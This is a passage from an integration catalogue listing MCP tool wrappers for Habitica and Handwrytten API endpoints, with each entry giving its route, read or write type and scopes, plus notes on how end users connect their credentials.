habitica_get_api_v3_members_by_touserid_objections_by_interaction (read) — Get any objections that would occur if the given interaction was attempted - BETA. via GET /api/v3/members/{toUserId}/objections/{interaction} GET /api/v1/habitica/api/v3/members/{toUserId}/objections/{interaction}. Scopes: api. habitica_get_api_v3_models_by_model_paths (read) — Doesn't require authentication via GET /api/v3/models/{model}/paths GET /api/v1/habitica/api/v3/models/{model}/paths. Scopes: api. habitica_get_api_v3_news (read) — Get latest Bailey announcement via GET /api/v3/news GET /api/v1/habitica/api/v3/news. Scopes: api. habitica_get_api_v3_ready (read) — Get Habitica's Server readiness status via GET /api/v3/ready GET /api/v1/habitica/api/v3/ready. Scopes: api. habitica_get_api_v3_status (read) — Get Habitica's API status via GET /api/v3/status GET /api/v1/habitica/api/v3/status. Scopes: api. habitica_get_api_v3_tags (read) — Get a user's tags via GET /api/v3/tags GET /api/v1/habitica/api/v3/tags. Scopes: api. habitica_get_api_v3_tags_by_tagid (read) — Get a tag via GET /api/v3/tags/{tagId} GET /api/v1/habitica/api/v3/tags/{tagId}. Scopes: api. habitica_get_api_v3_tasks_by_taskid (read) — Get a task via GET /api/v3/tasks/{taskId} GET /api/v1/habitica/api/v3/tasks/{taskId}. Scopes: api. habitica_get_api_v3_tasks_challenge_by_challengeid (read) — Get a challenge's tasks via GET /api/v3/tasks/challenge/{challengeId} GET /api/v1/habitica/api/v3/tasks/challenge/{challengeId}. Scopes: api. habitica_get_api_v3_tasks_group_by_groupid (read) — Get a group's tasks via GET /api/v3/tasks/group/{groupId} GET /api/v1/habitica/api/v3/tasks/group/{groupId}. Scopes: api. habitica_get_api_v3_tasks_user (read) — Get a user's tasks via GET /api/v3/tasks/user GET /api/v1/habitica/api/v3/tasks/user. Scopes: api. habitica_get_api_v3_user (read) — The user profile contains data related to the authenticated user including (but not limited to): Achievements; Authentications (including types and timestamps); Challenges memberships (Challenge IDs); Flags (including armoire, tutorial, tour etc...); Guilds memberships (Guild IDs); History (including timestamps and values, only for Experience and summed To Do values); Inbox; Invitations (to parties/guilds); Items (character's full inventory); New Messages (flags for party/guilds that have new messages; also reported in Notifications); Notifications; Party (includes current quest information); Preferences (user selected prefs); Profile (name, photo url, blurb); Purchased (includes subscription data and some gem-purchased items); PushDevices (identifiers for mobile devices authorized); Stats (standard RPG stats, class, buffs, xp, etc..); Tags; TasksOrder (list of all IDs for Dailys, Habits, Rewards and To Do's). via GET /api/v3/user GET /api/v1/habitica/api/v3/user. Scopes: api. habitica_get_api_v3_user_anonymized (read) — Returns the user's data without: Authentication information, NewMessages/Invitations/Inbox, Profile, Purchased information, Contributor information, Special items, Webhooks, Notifications. via GET /api/v3/user/anonymized GET /api/v1/habitica/api/v3/user/anonymized. Scopes: api. habitica_get_api_v3_user_in_app_rewards (read) — Get the in app items appearing in the user's reward column via GET /api/v3/user/in-app-rewards GET /api/v1/habitica/api/v3/user/in-app-rewards. Scopes: api. habitica_get_api_v3_user_inventory_buy (read) — Get equipment/gear items available for purchase for the authenticated user via GET /api/v3/user/inventory/buy GET /api/v1/habitica/api/v3/user/inventory/buy. Scopes: api. habitica_get_api_v3_user_webhook (read) — Get webhooks via GET /api/v3/user/webhook GET /api/v1/habitica/api/v3/user/webhook. Scopes: api. habitica_get_api_v3_world_state (read) — Does not require authentication. via GET /api/v3/world-state GET /api/v1/habitica/api/v3/world-state. Scopes: api. habitica_post_api_v3_challenges (write) — Creates a challenge. Cannot create associated tasks with this route. See CreateChallengeTasks. via POST /api/v3/challenges POST /api/v1/habitica/api/v3/challenges. Scopes: api. habitica_post_api_v3_challenges_by_challengeid_clearflags (write) — Clears flags on a challenge via POST /api/v3/challenges/{challengeId}/clearflags POST /api/v1/habitica/api/v3/challenges/{challengeId}/clearflags. Scopes: api. habitica_post_api_v3_challenges_by_challengeid_clone (write) — Clone a challenge via POST /api/v3/challenges/{challengeId}/clone POST /api/v1/habitica/api/v3/challenges/{challengeId}/clone. Scopes: api. habitica_post_api_v3_challenges_by_challengeid_flag (write) — Flag a challenge via POST /api/v3/challenges/{challengeId}/flag POST /api/v1/habitica/api/v3/challenges/{challengeId}/flag. Scopes: api. habitica_post_api_v3_challenges_by_challengeid_join (write) — Join a challenge via POST /api/v3/challenges/{challengeId}/join POST /api/v1/habitica/api/v3/challenges/{challengeId}/join. Scopes: api. habitica_post_api_v3_challenges_by_challengeid_leave (write) — Leave a challenge via POST /api/v3/challenges/{challengeId}/leave POST /api/v1/habitica/api/v3/challenges/{challengeId}/leave. Scopes: api. habitica_post_api_v3_challenges_by_challengeid_selectwinner_by_winnerid (write) — Select winner for challenge via POST /api/v3/challenges/{challengeId}/selectWinner/{winnerId} POST /api/v1/habitica/api/v3/challenges/{challengeId}/selectWinner/{winnerId}. Scopes: api. habitica_post_api_v3_coupons_enter_by_code (write) — Redeem a coupon code via POST /api/v3/coupons/enter/{code} POST /api/v1/habitica/api/v3/coupons/enter/{code}. Scopes: api. habitica_post_api_v3_coupons_generate_by_event (write) — Generate coupons for an event via POST /api/v3/coupons/generate/{event} POST /api/v1/habitica/api/v3/coupons/generate/{event}. Scopes: api. habitica_post_api_v3_coupons_validate_by_code (write) — Validate a coupon code via POST /api/v3/coupons/validate/{code} POST /api/v1/habitica/api/v3/coupons/validate/{code}. Scopes: api. habitica_post_api_v3_cron (write) — This causes cron to run. It assumes that the user has already been shown the Record Yesterday's Activity ("Check off any Dailies you did yesterday") screen and so it will immediately apply damage for incomplete due Dailies. via POST /api/v3/cron POST /api/v1/habitica/api/v3/cron. Scopes: api. habitica_post_api_v3_group_by_groupid_tasks_by_taskid_move_to_by_position (write) — Moves a group task to a specified position via POST /api/v3/group/{groupId}/tasks/{taskId}/move/to/{position} POST /api/v1/habitica/api/v3/group/{groupId}/tasks/{taskId}/move/to/{position}. Scopes: api. habitica_post_api_v3_groups (write) — Create group via POST /api/v3/groups POST /api/v1/habitica/api/v3/groups. Scopes: api. habitica_post_api_v3_groups_by_groupid_add_manager (write) — Add a manager to a group via POST /api/v3/groups/{groupId}/add-manager POST /api/v1/habitica/api/v3/groups/{groupId}/add-manager. Scopes: api. habitica_post_api_v3_groups_by_groupid_chat (write) — Posts a chat message to a group via POST /api/v3/groups/{groupId}/chat POST /api/v1/habitica/api/v3/groups/{groupId}/chat. Scopes: api. habitica_post_api_v3_groups_by_groupid_chat_by_chatid_clearflags (write) — Resets the flag count on a chat message. Retains the id of the user's that have flagged the message. (Only visible to moderators) via POST /api/v3/groups/{groupId}/chat/{chatId}/clearflags POST /api/v1/habitica/api/v3/groups/{groupId}/chat/{chatId}/clearflags. Scopes: api. habitica_post_api_v3_groups_by_groupid_chat_by_chatid_flag (write) — A message will be hidden from chat if two or more users flag a message. It will be hidden immediately if a moderator flags the message. An email is sent to the moderators about every flagged message. via POST /api/v3/groups/{groupId}/chat/{chatId}/flag POST /api/v1/habitica/api/v3/groups/{groupId}/chat/{chatId}/flag. Scopes: api. habitica_post_api_v3_groups_by_groupid_chat_by_chatid_like (write) — Likes a chat message from a group via POST /api/v3/groups/{groupId}/chat/{chatId}/like POST /api/v1/habitica/api/v3/groups/{groupId}/chat/{chatId}/like. Scopes: api. habitica_post_api_v3_groups_by_groupid_chat_seen (write) — Mark all messages as read for a group via POST /api/v3/groups/{groupId}/chat/seen POST /api/v1/habitica/api/v3/groups/{groupId}/chat/seen. Scopes: api. habitica_post_api_v3_groups_by_groupid_invite (write) — You can provide both emails and uuids, or just one. You must provide at least one. via POST /api/v3/groups/{groupId}/invite POST /api/v1/habitica/api/v3/groups/{groupId}/invite. Scopes: api. habitica_post_api_v3_groups_by_groupid_join (write) — Join a group via POST /api/v3/groups/{groupId}/join POST /api/v1/habitica/api/v3/groups/{groupId}/join. Scopes: api. habitica_post_api_v3_groups_by_groupid_leave (write) — Leave a group via POST /api/v3/groups/{groupId}/leave POST /api/v1/habitica/api/v3/groups/{groupId}/leave. Scopes: api. habitica_post_api_v3_groups_by_groupid_quests_abort (write) — Abort the current quest via POST /api/v3/groups/{groupId}/quests/abort POST /api/v1/habitica/api/v3/groups/{groupId}/quests/abort. Scopes: api. habitica_post_api_v3_groups_by_groupid_quests_accept (write) — Accept a pending quest via POST /api/v3/groups/{groupId}/quests/accept POST /api/v1/habitica/api/v3/groups/{groupId}/quests/accept. Scopes: api. habitica_post_api_v3_groups_by_groupid_quests_cancel (write) — Cancel a quest that is not active via POST /api/v3/groups/{groupId}/quests/cancel POST /api/v1/habitica/api/v3/groups/{groupId}/quests/cancel. Scopes: api. habitica_post_api_v3_groups_by_groupid_quests_force_start (write) — Force-start a pending quest via POST /api/v3/groups/{groupId}/quests/force-start POST /api/v1/habitica/api/v3/groups/{groupId}/quests/force-start. Scopes: api. habitica_post_api_v3_groups_by_groupid_quests_invite_by_questkey (write) — Invite users to a quest via POST /api/v3/groups/{groupId}/quests/invite/{questKey} POST /api/v1/habitica/api/v3/groups/{groupId}/quests/invite/{questKey}. Scopes: api. habitica_post_api_v3_groups_by_groupid_quests_leave (write) — Leave the active quest via POST /api/v3/groups/{groupId}/quests/leave POST /api/v1/habitica/api/v3/groups/{groupId}/quests/leave. Scopes: api. habitica_post_api_v3_groups_by_groupid_quests_reject (write) — Reject a quest via POST /api/v3/groups/{groupId}/quests/reject POST /api/v1/habitica/api/v3/groups/{groupId}/quests/reject. Scopes: api. habitica_post_api_v3_groups_by_groupid_reject_invite (write) — Reject a group invitation via POST /api/v3/groups/{groupId}/reject-invite POST /api/v1/habitica/api/v3/groups/{groupId}/reject-invite. Scopes: api. habitica_post_api_v3_groups_by_groupid_remove_manager (write) — Remove a manager from a group via POST /api/v3/groups/{groupId}/remove-manager POST /api/v1/habitica/api/v3/groups/{groupId}/remove-manager. Scopes: api. habitica_post_api_v3_groups_by_groupid_removemember_by_memberid (write) — Remove a member from a group via POST /api/v3/groups/{groupId}/removeMember/{memberId} POST /api/v1/habitica/api/v3/groups/{groupId}/removeMember/{memberId}. Scopes: api. habitica_post_api_v3_groups_create_plan (write) — Create a Group and then redirect to the correct payment via POST /api/v3/groups/create-plan POST /api/v1/habitica/api/v3/groups/create-plan. Scopes: api. habitica_post_api_v3_members_by_memberid_clear_flags (write) — Removes any abuse reports flagged on a user profile. via POST /api/v3/members/{memberId}/clear-flags POST /api/v1/habitica/api/v3/members/{memberId}/clear-flags. Scopes: api. habitica_post_api_v3_members_by_memberid_flag (write) — Sends an email to staff about another user or their profile via POST /api/v3/members/{memberId}/flag POST /api/v1/habitica/api/v3/members/{memberId}/flag. Scopes: api. habitica_post_api_v3_members_send_private_message (write) — Send a private message to a member via POST /api/v3/members/send-private-message POST /api/v1/habitica/api/v3/members/send-private-message. Scopes: api. habitica_post_api_v3_members_transfer_gems (write) — Send a gem gift to a member via POST /api/v3/members/transfer-gems POST /api/v1/habitica/api/v3/members/transfer-gems. Scopes: api. habitica_post_api_v3_news_tell_me_later (write) — Add a notification to allow viewing of the latest "New Stuff by Bailey" message. Prevent this specific Bailey message from appearing automatically. via POST /api/v3/news/tell-me-later POST /api/v1/habitica/api/v3/news/tell-me-later. Scopes: api. habitica_post_api_v3_notifications_by_notificationid_read (write) — Mark one notification as read via POST /api/v3/notifications/{notificationId}/read POST /api/v1/habitica/api/v3/notifications/{notificationId}/read. Scopes: api. habitica_post_api_v3_notifications_by_notificationid_see (write) — Mark a notification as seen. Different from marking them as read in that the notification isn't removed but the seen field is set to true. via POST /api/v3/notifications/{notificationId}/see POST /api/v1/habitica/api/v3/notifications/{notificationId}/see. Scopes: api. habitica_post_api_v3_notifications_read (write) — Marks multiple notifications as read by removing them from the user's notification list. This differs from marking notifications as seen, which retains them but sets the seen field to true. via POST /api/v3/notifications/read POST /api/v1/habitica/api/v3/notifications/read. Scopes: api. habitica_post_api_v3_notifications_see (write) — Mark multiple notifications as seen via POST /api/v3/notifications/see POST /api/v1/habitica/api/v3/notifications/see. Scopes: api. habitica_post_api_v3_reorder_tags (write) — Reorder a tag via POST /api/v3/reorder-tags POST /api/v1/habitica/api/v3/reorder-tags. Scopes: api. habitica_post_api_v3_tags (write) — Create a new tag via POST /api/v3/tags POST /api/v1/habitica/api/v3/tags. Scopes: api. habitica_post_api_v3_tasks_by_taskid_assign (write) — Assign users to a group task via POST /api/v3/tasks/{taskId}/assign POST /api/v1/habitica/api/v3/tasks/{taskId}/assign. Scopes: api. habitica_post_api_v3_tasks_by_taskid_checklist (write) — Add an item to the task's checklist via POST /api/v3/tasks/{taskId}/checklist POST /api/v1/habitica/api/v3/tasks/{taskId}/checklist. Scopes: api. habitica_post_api_v3_tasks_by_taskid_checklist_by_itemid_score (write) — Score a checklist item via POST /api/v3/tasks/{taskId}/checklist/{itemId}/score POST /api/v1/habitica/api/v3/tasks/{taskId}/checklist/{itemId}/score. Scopes: api. habitica_post_api_v3_tasks_by_taskid_move_to_by_position (write) — Note: completed To Do's are not sortable, do not appear in user.tasksOrder.todos, and are ordered by date of completion. via POST /api/v3/tasks/{taskId}/move/to/{position} POST /api/v1/habitica/api/v3/tasks/{taskId}/move/to/{position}. Scopes: api. habitica_post_api_v3_tasks_by_taskid_needs_work_by_userid (write) — Mark an assigned group task as needing more work before it can be approved via POST /api/v3/tasks/{taskId}/needs-work/{userId} POST /api/v1/habitica/api/v3/tasks/{taskId}/needs-work/{userId}. Scopes: api. habitica_post_api_v3_tasks_by_taskid_score_by_direction (write) — Score a task via POST /api/v3/tasks/{taskId}/score/{direction} POST /api/v1/habitica/api/v3/tasks/{taskId}/score/{direction}. Scopes: api. habitica_post_api_v3_tasks_by_taskid_tags_by_tagid (write) — Add a tag to a task via POST /api/v3/tasks/{taskId}/tags/{tagId} POST /api/v1/habitica/api/v3/tasks/{taskId}/tags/{tagId}. Scopes: api. habitica_post_api_v3_tasks_by_taskid_unassign_by_assigneduserid (write) — Unassigns a user from a group task via POST /api/v3/tasks/{taskId}/unassign/{assignedUserId} POST /api/v1/habitica/api/v3/tasks/{taskId}/unassign/{assignedUserId}. Scopes: api. habitica_post_api_v3_tasks_challenge_by_challengeid (write) — Can be passed an object to create a single task or an array of objects to create multiple tasks. via POST /api/v3/tasks/challenge/{challengeId} POST /api/v1/habitica/api/v3/tasks/challenge/{challengeId}. Scopes: api. habitica_post_api_v3_tasks_clearcompletedtodos (write) — Deletes all of a user's completed To Do's except those belonging to active Challenges and Group Plans. via POST /api/v3/tasks/clearCompletedTodos POST /api/v1/habitica/api/v3/tasks/clearCompletedTodos. Scopes: api. habitica_post_api_v3_tasks_group_by_groupid (write) — Can be passed an object to create a single task or an array of objects to create multiple tasks. via POST /api/v3/tasks/group/{groupId} POST /api/v1/habitica/api/v3/tasks/group/{groupId}. Scopes: api. habitica_post_api_v3_tasks_unlink_all_by_challengeid (write) — Unlink all tasks from a challenge via POST /api/v3/tasks/unlink-all/{challengeId} POST /api/v1/habitica/api/v3/tasks/unlink-all/{challengeId}. Scopes: api. habitica_post_api_v3_tasks_unlink_one_by_taskid (write) — Unlink a challenge task via POST /api/v3/tasks/unlink-one/{taskId} POST /api/v1/habitica/api/v3/tasks/unlink-one/{taskId}. Scopes: api. habitica_post_api_v3_tasks_user (write) — Can be passed an object to create a single task or an array of objects to create multiple tasks. via POST /api/v3/tasks/user POST /api/v1/habitica/api/v3/tasks/user. Scopes: api. habitica_post_api_v3_user_allocate (write) — Allocates a single Stat Point. via POST /api/v3/user/allocate POST /api/v1/habitica/api/v3/user/allocate. Scopes: api. habitica_post_api_v3_user_allocate_bulk (write) — Allocate multiple Stat Points via POST /api/v3/user/allocate-bulk POST /api/v1/habitica/api/v3/user/allocate-bulk. Scopes: api. habitica_post_api_v3_user_allocate_now (write) — Uses the user's chosen automatic allocation method, or if none, assigns all to STR. Note: will return success, even if there are 0 points to allocate. via POST /api/v3/user/allocate-now POST /api/v1/habitica/api/v3/user/allocate-now. Scopes: api. habitica_post_api_v3_user_auth_local_login (write) — Login a user with email / username and password via POST /api/v3/user/auth/local/login POST /api/v1/habitica/api/v3/user/auth/local/login. Scopes: api. habitica_post_api_v3_user_auth_local_register (write) — Register a new user with email, login name, and password or attach local authentication to a social auth user via POST /api/v3/user/auth/local/register POST /api/v1/habitica/api/v3/user/auth/local/register. Scopes: api. habitica_post_api_v3_user_auth_reset_password_set_new_one (write) — Set a new password for a user that reset theirs. Not meant for public usage. via POST /api/v3/user/auth/reset-password-set-new-one POST /api/v1/habitica/api/v3/user/auth/reset-password-set-new-one. Scopes: api. habitica_post_api_v3_user_block_by_uuid (write) — Block / unblock a user from sending you a PM via POST /api/v3/user/block/{uuid} POST /api/v1/habitica/api/v3/user/block/{uuid}. Scopes: api. habitica_post_api_v3_user_buy_armoire (write) — Buy an Enchanted Armoire item via POST /api/v3/user/buy-armoire POST /api/v1/habitica/api/v3/user/buy-armoire. Scopes: api. habitica_post_api_v3_user_buy_by_key (write) — Under the hood uses UserBuyGear, UserBuyPotion and UserBuyArmoire via POST /api/v3/user/buy/{key} POST /api/v1/habitica/api/v3/user/buy/{key}. Scopes: api. habitica_post_api_v3_user_buy_gear_by_key (write) — Buy a piece of gear via POST /api/v3/user/buy-gear/{key} POST /api/v1/habitica/api/v3/user/buy-gear/{key}. Scopes: api. habitica_post_api_v3_user_buy_health_potion (write) — Buy a health potion via POST /api/v3/user/buy-health-potion POST /api/v1/habitica/api/v3/user/buy-health-potion. Scopes: api. habitica_post_api_v3_user_buy_mystery_set_by_key (write) — This buys a Mystery Item set using an Hourglass. via POST /api/v3/user/buy-mystery-set/{key} POST /api/v1/habitica/api/v3/user/buy-mystery-set/{key}. Scopes: api. habitica_post_api_v3_user_buy_quest_by_key (write) — Buy a quest with gold via POST /api/v3/user/buy-quest/{key} POST /api/v1/habitica/api/v3/user/buy-quest/{key}. Scopes: api. habitica_post_api_v3_user_buy_special_spell_by_key (write) — Includes gift cards (e.g., birthday card), and avatar Transformation Items and their antidotes (e.g., Snowball item and Salt reward). via POST /api/v3/user/buy-special-spell/{key} POST /api/v1/habitica/api/v3/user/buy-special-spell/{key}. Scopes: api. habitica_post_api_v3_user_change_class (write) — User must be at least level 10. If ?class is defined and user.flags.classSelected is false it'll change the class. If user.preferences.disableClasses it'll enable classes, otherwise it sets user.flags.classSelected to false (costs 3 gems). via POST /api/v3/user/change-class POST /api/v1/habitica/api/v3/user/change-class. Scopes: api. habitica_post_api_v3_user_class_cast_by_spellid (write) — Skill Key to Name Mapping Mage: fireball="Burst of Flames", mpheal="Ethereal Surge", earth="Earthquake", frost="Chilling Frost" Warrior: smash="Brutal Smash", defensiveStance="Defensive Stance", valorousPresence="Valorous Presence", intimidate="Intimidating Gaze" Rogue: pickPocket="Pickpocket", backStab="Backstab", toolsOfTrade="Tools of the Trade", stealth="Stealth" Healer: heal="Healing Light", protectAura="Protective Aura", brightness="Searing Brightness", healAll="Blessing" Transformation Items: snowball="Snowball", spookySparkles="Spooky Sparkles", seafoam="Seafoam", shinySeed="Shiny Seed" via POST /api/v3/user/class/cast/{spellId} POST /api/v1/habitica/api/v3/user/class/cast/{spellId}. Scopes: api. habitica_post_api_v3_user_custom_day_start (write) — Set Custom Day Start time for user. via POST /api/v3/user/custom-day-start POST /api/v1/habitica/api/v3/user/custom-day-start. Scopes: api. habitica_post_api_v3_user_disable_classes (write) — Disable classes via POST /api/v3/user/disable-classes POST /api/v1/habitica/api/v3/user/disable-classes. Scopes: api. habitica_post_api_v3_user_equip_by_type_by_key (write) — Equip or unequip an item via POST /api/v3/user/equip/{type}/{key} POST /api/v1/habitica/api/v3/user/equip/{type}/{key}. Scopes: api. habitica_post_api_v3_user_feed_by_pet_by_food (write) — Feed a pet via POST /api/v3/user/feed/{pet}/{food} POST /api/v1/habitica/api/v3/user/feed/{pet}/{food}. Scopes: api. habitica_post_api_v3_user_hatch_by_egg_by_hatchingpotion (write) — Hatch a pet via POST /api/v3/user/hatch/{egg}/{hatchingPotion} POST /api/v1/habitica/api/v3/user/hatch/{egg}/{hatchingPotion}. Scopes: api. habitica_post_api_v3_user_mark_pms_read (write) — Mark Private Messages as read via POST /api/v3/user/mark-pms-read POST /api/v1/habitica/api/v3/user/mark-pms-read. Scopes: api. habitica_post_api_v3_user_move_pinned_item_by_type_by_path_move_to_by_position (write) — Move a pinned item in the rewards column to a new position after being sorted via POST /api/v3/user/move-pinned-item/{type}/{path}/move/to/{position} POST /api/v1/habitica/api/v3/user/move-pinned-item/{type}/{path}/move/to/{position}. Scopes: api. habitica_post_api_v3_user_open_mystery_item (write) — Open the Mystery Item box via POST /api/v3/user/open-mystery-item POST /api/v1/habitica/api/v3/user/open-mystery-item. Scopes: api. habitica_post_api_v3_user_purchase_by_type_by_key (write) — Purchase Gem or Gem-purchasable item via POST /api/v3/user/purchase/{type}/{key} POST /api/v1/habitica/api/v3/user/purchase/{type}/{key}. Scopes: api. habitica_post_api_v3_user_purchase_hourglass_by_type_by_key (write) — Purchases an Hourglass-purchasable item. Does not include Mystery Item sets (use /api/v3/user/buy-mystery-set/:key). via POST /api/v3/user/purchase-hourglass/{type}/{key} POST /api/v1/habitica/api/v3/user/purchase-hourglass/{type}/{key}. Scopes: api. habitica_post_api_v3_user_read_card_by_cardtype (write) — Read a card via POST /api/v3/user/read-card/{cardType} POST /api/v1/habitica/api/v3/user/read-card/{cardType}. Scopes: api. habitica_post_api_v3_user_rebirth (write) — Use Orb of Rebirth on user via POST /api/v3/user/rebirth POST /api/v1/habitica/api/v3/user/rebirth. Scopes: api. habitica_post_api_v3_user_release_both (write) — Release pets and mounts and grants Triad Bingo via POST /api/v3/user/release-both POST /api/v1/habitica/api/v3/user/release-both. Scopes: api. habitica_post_api_v3_user_release_mounts (write) — Release mounts via POST /api/v3/user/release-mounts POST /api/v1/habitica/api/v3/user/release-mounts. Scopes: api. habitica_post_api_v3_user_reroll (write) — Reroll a user (reset tasks) using the Fortify Potion via POST /api/v3/user/reroll POST /api/v1/habitica/api/v3/user/reroll. Scopes: api. habitica_post_api_v3_user_reset (write) — Reset user via POST /api/v3/user/reset POST /api/v1/habitica/api/v3/user/reset. Scopes: api. habitica_post_api_v3_user_reset_password (write) — Send the user an email to let them reset their password via POST /api/v3/user/reset-password POST /api/v1/habitica/api/v3/user/reset-password. Scopes: api. habitica_post_api_v3_user_revive (write) — Revive user from death via POST /api/v3/user/revive POST /api/v1/habitica/api/v3/user/revive. Scopes: api. habitica_post_api_v3_user_sell_by_type_by_key (write) — Sell a gold-sellable item owned by the user via POST /api/v3/user/sell/{type}/{key} POST /api/v1/habitica/api/v3/user/sell/{type}/{key}. Scopes: api. habitica_post_api_v3_user_sleep (write) — Toggles the sleep key under user preference true and false. via POST /api/v3/user/sleep POST /api/v1/habitica/api/v3/user/sleep. Scopes: api. habitica_post_api_v3_user_stat_sync (write) — Request a refresh of user stats, including processing of pending level-ups via POST /api/v3/user/stat-sync POST /api/v1/habitica/api/v3/user/stat-sync. Scopes: api. habitica_post_api_v3_user_unlock (write) — Unlock item or set of items by purchase via POST /api/v3/user/unlock POST /api/v1/habitica/api/v3/user/unlock. Scopes: api. habitica_post_api_v3_user_webhook (write) — Create a new webhook - BETA via POST /api/v3/user/webhook POST /api/v1/habitica/api/v3/user/webhook. Scopes: api. habitica_put_api_v3_challenges_by_challengeid (write) — Update a challenge's name, description, or summary via PUT /api/v3/challenges/{challengeId} PUT /api/v1/habitica/api/v3/challenges/{challengeId}. Scopes: api. habitica_put_api_v3_groups_by_groupid (write) — Update group via PUT /api/v3/groups/{groupId} PUT /api/v1/habitica/api/v3/groups/{groupId}. Scopes: api. habitica_put_api_v3_hall_heroes_by_heroid (write) — Update various details in the user's User document, including but not limited to privileges, gems, contributions, items. via PUT /api/v3/hall/heroes/{heroId} PUT /api/v1/habitica/api/v3/hall/heroes/{heroId}. Scopes: api. habitica_put_api_v3_tags_by_tagid (write) — Update a tag via PUT /api/v3/tags/{tagId} PUT /api/v1/habitica/api/v3/tags/{tagId}. Scopes: api. habitica_put_api_v3_tasks_by_taskid (write) — Update a task via PUT /api/v3/tasks/{taskId} PUT /api/v1/habitica/api/v3/tasks/{taskId}. Scopes: api. habitica_put_api_v3_tasks_by_taskid_checklist_by_itemid (write) — Update a checklist item via PUT /api/v3/tasks/{taskId}/checklist/{itemId} PUT /api/v1/habitica/api/v3/tasks/{taskId}/checklist/{itemId}. Scopes: api. habitica_put_api_v3_user (write) — Some of the user items can be updated, such as preferences, flags and stats. ^ via PUT /api/v3/user PUT /api/v1/habitica/api/v3/user. Scopes: api. habitica_put_api_v3_user_auth_update_email (write) — Change the user email address via PUT /api/v3/user/auth/update-email PUT /api/v1/habitica/api/v3/user/auth/update-email. Scopes: api. habitica_put_api_v3_user_auth_update_password (write) — Update the password of a local user via PUT /api/v3/user/auth/update-password PUT /api/v1/habitica/api/v3/user/auth/update-password. Scopes: api. habitica_put_api_v3_user_auth_update_username (write) — Update and verify the user's username via PUT /api/v3/user/auth/update-username PUT /api/v1/habitica/api/v3/user/auth/update-username. Scopes: api. habitica_put_api_v3_user_webhook_by_id (write) — Can change url, enabled, type, and options properties. Cannot change id. via PUT /api/v3/user/webhook/{id} PUT /api/v1/habitica/api/v3/user/webhook/{id}. Scopes: api. ================================================================================ ## Handwrytten URL: https://www.agenticfabriq.com/integrations/handwrytten Section: Integrated Tools Handwrytten — 47 MCP tools Provider key: handwrytten. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. handwrytten_delete_qrcode_by_id (write, destructive) — Delete a QR Code. Handwrytten DELETE /v2/qrCode/{id}. DELETE /api/v1/handwrytten/qrCode/{id}. Scopes: api. handwrytten_get_auth_getuser (read) — Returns profile and account information for the user associated with the API key, including name, email, billing address, and credits. Most integrations won't need this — the main use case is checking remaining credits. Handwrytten GET /v2/auth/getUser. GET /api/v1/handwrytten/auth/getUser. Scopes: api. handwrytten_get_basket_count (read) — Get the number of items in the user's basket. Handwrytten GET /v2/basket/count. GET /api/v1/handwrytten/basket/count. Scopes: api. handwrytten_get_bundles_list (read) — Returns the list of active, in-stock bundles — physical items (such as a box of cookies) shipped to your recipient together with your card. The `id` field is what's passed as `bundle_id` on order calls. Handwrytten GET /v2/bundles/list. GET /api/v1/handwrytten/bundles/list. Scopes: api. handwrytten_get_cards_list (read) — Get a list of all cards available to the user, including any custom or privately-available cards. Handwrytten GET /v2/cards/list. GET /api/v1/handwrytten/cards/list. Scopes: api. handwrytten_get_cards_list_sections (read) — Get a list of cards available to the user, grouped by categories. Handwrytten GET /v2/cards/list/sections. GET /api/v1/handwrytten/cards/list/sections. Scopes: api. handwrytten_get_cards_listcustomuserimages (read) — List all custom images uploaded by the user. Handwrytten GET /v2/cards/listCustomUserImages. GET /api/v1/handwrytten/cards/listCustomUserImages. Scopes: api. handwrytten_get_cards_view (read) — Get detailed information about a card. Handwrytten GET /v2/cards/view. GET /api/v1/handwrytten/cards/view. Scopes: api. handwrytten_get_categories_list (read) — Get list of available card categories. Handwrytten GET /v2/categories/list. GET /api/v1/handwrytten/categories/list. Scopes: api. handwrytten_get_checkauth_auth (read) — Verifies that the provided API key or token is valid. Useful for validating a saved API key before storing it, or checking whether a `uid` token is still active before making other calls. Handwrytten GET /v2/checkauth/auth. GET /api/v1/handwrytten/checkauth/auth. Scopes: api. handwrytten_get_countries_list (read) — Returns the list of all supported countries, including available states/provinces and delivery costs. Handwrytten GET /v2/countries/list. GET /api/v1/handwrytten/countries/list. Scopes: api. handwrytten_get_countries_liststates (read) — Returns the list of states or provinces for a given country. Only applicable to countries that have states/provinces in the system (currently the United States, Canada, and Mexico). Handwrytten GET /v2/countries/listStates. GET /api/v1/handwrytten/countries/listStates. Scopes: api. handwrytten_get_design_dimensions (read) — Returns available card sizes and formats. Use the `id` (dimension_id) when creating a custom card. The `format` field indicates whether the card is flat (front and back) or folded (four surfaces: front, back, inside top, inside bottom). Handwrytten GET /v2/design/dimensions. GET /api/v1/handwrytten/design/dimensions. Scopes: api. handwrytten_get_design_presetimages (read) — Returns preset cover images available for a given card dimension. Use `preset_cover_id` or `preset_back_cover_id` in the Create Custom Card call to use one of these instead of a custom uploaded image. Handwrytten GET /v2/design/presetImages. GET /api/v1/handwrytten/design/presetImages. Scopes: api. handwrytten_get_fonts_list (read) — Returns the list of available handwriting styles for use in orders. The `id` field is the font identifier to use in order calls; `label` is the human-readable name. Note: this endpoint returns order fonts only — card customizer fonts are a separate call. Handwrytten GET /v2/fonts/list. GET /api/v1/handwrytten/fonts/list. Scopes: api. handwrytten_get_giftcards_list (read) — Get list of gift cards and available denominations for purchase and inclusion in order. Handwrytten GET /v2/giftCards/list. GET /api/v1/handwrytten/giftCards/list. Scopes: api. handwrytten_get_inserts_list (read) — Get list of custom inserts available for the account. Handwrytten GET /v2/inserts/list. GET /api/v1/handwrytten/inserts/list. Scopes: api. handwrytten_get_orders_details (read) — Returns full details for a given order, including status, recipient address, card, pricing, and delivery information. Most commonly used to check order status or delivery confirmation status (if delivery confirmation was added to the order). Handwrytten GET /v2/orders/details. GET /api/v1/handwrytten/orders/details. Scopes: api. handwrytten_get_profile_address (read) — Get user's default sender address. Handwrytten GET /v2/profile/address. GET /api/v1/handwrytten/profile/address. Scopes: api. handwrytten_get_profile_listaddresses (read) — List Sender Addresses. Handwrytten GET /v2/profile/listAddresses. GET /api/v1/handwrytten/profile/listAddresses. Scopes: api. handwrytten_get_profile_recipientslist (read) — Get list of recipient addresses in user's Address Book. 